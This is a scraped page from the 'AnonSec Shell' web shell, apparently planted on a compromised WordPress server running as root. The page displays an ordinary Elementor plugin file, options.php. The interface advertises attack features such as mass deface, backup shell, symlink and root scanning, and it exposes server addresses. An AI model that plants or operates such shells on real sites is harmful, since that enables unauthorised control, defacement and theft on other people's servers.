AnonSec Shell
Server IP : 172.67.157.199  /  Your IP : 18.190.253.39   [ Reverse IP ]
Web Server : Apache
System : Linux b70eb322-3aee-0c53-7c82-0db91281f2c6.secureserver.net 6.1.90-1.el9.elrepo.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 2 12:09:22 EDT 2024 x86_64
User : root ( 0)
PHP Version : 8.0.30.2
Disable Function : NONE
Domains : 0 Domains
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/wp-content/plugins/elementor/modules/notifications/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/wp-content/plugins/elementor/modules/notifications/options.php
<?php
namespace Elementor\Modules\Notifications;

class Options {

	public static function has_unread_notifications() : bool {
		$current_user = wp_get_current_user();

		if ( ! $current_user ) {
			return false;
		}

		$unread_notifications = get_transient( "elementor_unread_notifications_{$current_user->ID}" );

		if ( false === $unread_notifications ) {
			$notifications = API::get_notifications_by_conditions();
			$notifications_ids = wp_list_pluck( $notifications, 'id' );

			$unread_notifications = array_diff( $notifications_ids, static::get_notifications_dismissed() );

			set_transient( "elementor_unread_notifications_{$current_user->ID}", $unread_notifications, HOUR_IN_SECONDS );
		}

		return ! empty( $unread_notifications );
	}

	public static function get_notifications_dismissed() {
		$current_user = wp_get_current_user();

		if ( ! $current_user ) {
			return [];
		}

		$notifications_dismissed = get_user_meta( $current_user->ID, '_e_notifications_dismissed', true );

		if ( ! is_array( $notifications_dismissed ) ) {
			$notifications_dismissed = [];
		}

		return $notifications_dismissed;
	}

	public static function mark_notification_read( $notifications ) : bool {
		$current_user = wp_get_current_user();

		if ( ! $current_user ) {
			return false;
		}

		$notifications_dismissed = static::get_notifications_dismissed();

		foreach ( $notifications as $notification ) {
			if ( ! in_array( $notification['id'], $notifications_dismissed, true ) ) {
				$notifications_dismissed[] = $notification['id'];
			}
		}

		$notifications_dismissed = array_unique( $notifications_dismissed );

		update_user_meta( $current_user->ID, '_e_notifications_dismissed', $notifications_dismissed );

		delete_transient( "elementor_unread_notifications_{$current_user->ID}" );

		return true;
	}
}

Anon7 - 2022
AnonSec Team